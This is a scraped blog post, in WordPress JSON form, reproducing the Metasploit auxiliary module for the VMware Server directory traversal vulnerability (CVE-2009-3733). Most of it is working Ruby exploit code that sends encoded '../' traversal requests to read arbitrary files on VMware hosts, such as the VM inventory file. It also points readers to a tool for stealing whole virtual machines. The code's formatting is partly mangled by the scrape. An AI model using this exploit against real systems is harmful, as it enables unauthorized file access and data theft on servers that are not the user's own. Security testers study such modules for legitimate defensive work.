##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Auxiliary<\/p>\n
# Exploit mixins should be called first
include Msf::Exploit::Remote::HttpClient
# Scanner mixin should be near last
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report<\/p>\n
def initialize
super(
‘Name’ => ‘VMware Server Directory Traversal Vulnerability’,
‘Description’ => ‘This modules exploits the VMware Server Directory Traversal
vulnerability in VMware Server 1.x before 1.0.10 build 203137 and 2.x before
2.0.2 build 203138 on Linux, VMware ESXi 3.5, and VMware ESX 3.0.3 and 3.5
allows remote attackers to read arbitrary files. Common VMware server ports
80\/8222 and 443\/8333 SSL. If you want to download the entire VM, check out
the gueststealer tool.’,
‘Author’ => ‘CG’ ,
‘License’ => MSF_LICENSE,
‘References’ =>
[
[ ‘URL’, ‘https:\/\/www.vmware.com\/security\/advisories\/VMSA-2009-0015.html’ ],
[ ‘OSVDB’, ‘59440’ ],
[ ‘BID’, ‘36842’ ],
[ ‘CVE’, ‘2009-3733’ ],
[ ‘URL’, ‘http:\/\/fyrmassociates.com\/tools\/gueststealer-v1.1.pl’ ]])
register_options(
[
Opt::RPORT(8222),
OptString.new(‘FILE’, [ true, “The file to view”, ‘\/etc\/vmware\/hostd\/vmInventory.xml’]),
OptString.new(‘TRAV’, [ true, “Traversal Depth”, ‘\/sdk\/%2E%2E\/%2E%2E\/%2E%2E\/%2E%2E\/%2E%2E\/%2E%2E’]),
])
end<\/p>\n
def run_host(target_host)<\/p>\n
begin
file = datastore[‘FILE’]trav = datastore[‘TRAV’]res = send_request_raw({
‘uri’ => trav+file,
‘version’ => ‘1.1’,
‘method’ => ‘GET’
}, 25)<\/p>\n
if res.nil?
print_error(“Connection timed out”)
return
end<\/p>\n
if res.code == 200
#print_status(“Output Of Requested File:\\n#{res.body}”)
print_good(“#{target_host}:#{rport} appears vulnerable to VMWare Directory Traversal Vulnerability”)
report_vuln(
{
:host => target_host,
:port => rport,
:proto => ‘tcp’,
:name => self.name,
:info => “Module #{self.fullname} reports directory traversal of #{target_host}:#{rport} with response code #{res.code}”,
:refs => self.references,
:exploited_at => Time.now.utc
}
)
else
vprint_status(“Received #{res.code} for #{trav}#{file}”)
end<\/p>\n
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error(e.message)
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called firstinclude Msf::Exploit::Remote::HttpClient# Scanner mixin should be near lastinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Report def initializesuper(‘Name’ => ‘VMware Server Directory Traversal Vulnerability’,‘Description’ => ‘This modules exploits the VMware Server Directory Traversalvulnerability in VMware Server 1.x before 1.0.10 build 203137 and …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59317","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59317","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59317"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59317\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59317"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59317"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59317"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}